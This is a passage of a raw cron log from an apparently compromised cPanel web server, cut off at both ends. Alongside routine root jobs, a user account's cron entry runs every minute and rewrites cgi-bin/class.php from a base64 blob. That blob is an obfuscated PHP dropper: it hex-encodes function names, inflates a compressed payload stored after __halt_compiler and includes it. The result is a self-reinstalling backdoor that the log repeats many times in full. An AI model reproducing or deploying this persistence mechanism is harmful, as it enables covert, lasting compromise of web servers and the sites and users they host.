GwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:15:01 server CROND[4501]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 07:15:01 server CROND[4502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:15:01 server CROND[4503]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 07:16:01 server CROND[4720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:17:01 server CROND[4790]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:18:01 server CROND[4872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:19:01 server CROND[4944]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:20:01 server CROND[5002]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 07:20:01 server CROND[5003]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 07:20:01 server CROND[5004]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 07:20:01 server CROND[5006]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 07:20:01 server CROND[5008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:21:01 server CROND[5128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:22:01 server CROND[5300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:23:01 server CROND[5412]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:24:01 server CROND[5475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:25:01 server CROND[5540]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 07:25:01 server CROND[5541]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 07:25:01 server CROND[5542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:26:01 server CROND[5674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:27:01 server CROND[5827]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 07:27:01 server CROND[5828]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 07:28:01 server CROND[5892]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9